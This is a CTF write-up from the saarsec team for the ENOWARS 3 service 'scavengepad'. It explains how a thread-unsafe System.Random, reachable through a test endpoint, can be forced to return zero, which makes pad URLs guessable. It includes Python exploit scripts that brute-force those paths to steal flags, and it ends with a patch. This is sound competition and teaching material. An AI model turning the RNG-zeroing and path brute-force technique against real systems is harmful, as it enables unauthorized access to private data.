Saarsec

saarsec

Schwenk and pwn

ENOWARS 3 WriteUp scavengepad

Service Overview

The service itself was a ASP.NET Core service. It allows, once registered, to join teams and create operations (i.e., projects) and attach objectives (i.e., tasks) to it. Both elements can be enriched by providing additional information via an online markdown editor or uploaded files. The markdown editor is backed by CodiMD, a collaborative online Markdown editor.

Flag Storage

Based on the received gameserver traffic, we learned that the flags were stored in the Markdown documents describing the operations. Once an operation was created by the gameserver, a ModifyOperationMessage WebSocket request was sent to the backend. Its exact definition can be found in Models/Json/OperationMessage.cs:

public OperationMessage(Operation operation)
{
    Id = operation.Id;
    Title = operation.Title;
    Categories = operation.GetObjectivesDictionary();
    TeamId = operation.TeamId;
    OperationPadSuffix = operation.OperationPadSuffix;
    Files = operation.Files;
}

Let’s have a look at the server-side code handling this message. The code in Websocket/WebSocketClient.cs contains boilerplate code managing the connections. Incoming messages are dispatched by Channel.HandleWSMessage() which deserializes the payload to JSON and calls Channel.HandleModifyOperationMessage. ScavengePadDbUtils.ModifyOperation is the first interesting method in this chain. It takes care of creating and updating the operation database records. Most importantly, it generates a unique URL path which can be used to access an operation’s markdown document directly. The path is generated as follows:

if (newOp){
     dbOperation.OperationPadSuffix = WebUtility.UrlEncode(ScavengePadUtils.SHA256($"{dbOperation.Id}{ScavengePadUtils.GetRandomInt()}{ScavengePadUtils.GetRandomInt()}{ScavengePadUtils.GetRandomInt()}{ScavengePadUtils.GetRandomInt()}"));
   }

As we can see above, the path is a SHA256 hash over the operation’s record primary key, concatenated with random integers generated by ScavengePadUtils.GetRandomInt(). Information about the created operation (including the OperationPadSuffix) and the created objectives are returned to the client. The gameserver then visits the generated path and inserts the flag.

Flaws in the service

The developers claimed to have placed four different vulnerabilities in this service. Unfortunately, we only managed to find and exploit one during the CTF.

Find the right path

Since the flags are stored in the markdown documents describing the operations, we need a way to learn their unique paths in order to access them directly. As mentioned above, the path is a SHA256 hash over the primary database key and ScavengePadUtils.GetRandomInt(). Both implementations, the SHA256 and the random generator looks legit and use standard-library primitives:

public static class ScavengePadUtils
{
  private static readonly Random Random = new Random();
  public static int GetRandomInt() => Random.Next();

  public static string SHA256(string input)
  {
      byte[] bytes = Encoding.UTF8.GetBytes(input);
      SHA256Managed hashstring = new SHA256Managed();
      byte[] hash = hashstring.ComputeHash(bytes);
      return Convert.ToBase64String(hash);
  }
}

How can we now compute the hash?

This looks random

Let’s see where else this random generator is used. Besides for the path generation, the generator is used in ScavengePad/Controllers/TestController.cs.

namespace ScavengePad.Controllers
{
    [Route("api/[controller]")]
    [ApiController]
    public class TestController : Controller
    {
        [HttpGet]
        public IActionResult Get(int tasks)
        {
            for (int i = 0; i < tasks; i++)
            {
                Task.Run(() =>
                {
                    var rng = ScavengePadUtils.GetRandomInt();
                });
            }
            return Json(new
            {
                rng = ScavengePadUtils.GetRandomInt()
            });
        }
    }
}

This is a REST endpoint which allows us to query /api/test with a tasks GET parameter. Once called, the server will spawn tasks-many Tasks, all of them querying the random generator for a new integer concurrently. Finally, the server will return a last random integer. We can clearly see that we have an unsynchronized access to GetRandomInt(). Googling for Random and thread safety leads us to this section in the official docs, which states that “Random objects are not thread safe” and if “you don’t ensure that the Random object is accessed in a thread-safe way, calls to methods that return random numbers return 0”. Nice. I would be really interested in the technical details of this, but time is ticking and we now need to steal some flags.

Exploitation

In the first round of our attack, we query /api/test with enough tasks to zero the random generator:

def exploit(ip):
    team_id = ip.split(':')[2].lstrip('0')
    host = '[fd00:1337:{}:cccc::1]'.format(team_id)
    target = host + 'api/test'
    res = requests.get(target, params={'tasks': '1000000'}, timeout=10)
    print(res.text)

If this returns 0, it means we successfully deactivated the random generator. Further, the SHA256 hash representing the document path now only depends on the primary database key which we can easily brute-force. Then we enumerate all possible paths and check if we find a flag. That’s it! The rest is just boilerplate code to communicate with the server which we learned by observing the gameserver traffic:

import base64
import hashlib
import json
import sys
import urllib

import requests
import websocket

session = requests.Session()

def retrieve_pad(host, padhash):
    pad = 'PAD_' + padhash
    pad = urllib.parse.quote(pad, safe='/')

    url = 'http://{}/socket.io/?noteId={}&transport=polling'.format(host, pad)
    response = session.get(url, timeout=10)
    js = response.text[response.text.index('{'):]
    sid = json.loads(js)['sid']

    response = session.get(url + '&EIO=3&sid=' + sid)
    try:
        js = response.text[response.text.index('['):response.text.index(']') + 1]
        js = json.loads(js)[1]
        if 'str' in js:
            return js['str']
    except ValueError:
        pass
    return None


def exploit(ip):
    team_id = ip.split(':')[2].lstrip('0')
    host = '[fd00:1337:{}:cccc::1]'.format(team_id)
    for i in range(1, 1000, 1):
        x = base64.b64encode(hashlib.sha256("{}0000".format(i).encode()).digest()).decode()
        result = retrieve_pad(host, x)
        if result is not None or i % 100 == 0:
            print(i, x, result)


if __name__ == '__main__':
    exploit(sys.argv[1] if len(sys.argv) > 1 else 'fd00:1337:163::2')

Patching the vulnerability

Patching the vulnerability is simple. Use the synchronization primitive of your choice and then clamp the tasks variable in TestController to a small number. This is because all spawned tasks now need to wait to acquire the lock and allowing a large (or unlimited number) for tasks would therefore introduce a DoS vector.

Summary

Overall, this service has been claimed to have four different bugs. Unfortunately, we only manged to exploit one of them. The vulnerability revolved around the quite unexpected fact that System.Random is not thread-safe and will return 0 once it is accessed in an unsynchronized way. Stealing the flags is hence reduced to brute-force the primary key of an operation. Overall this was a very cool and challenging service. I’m looking forward to see more of this kind in the future!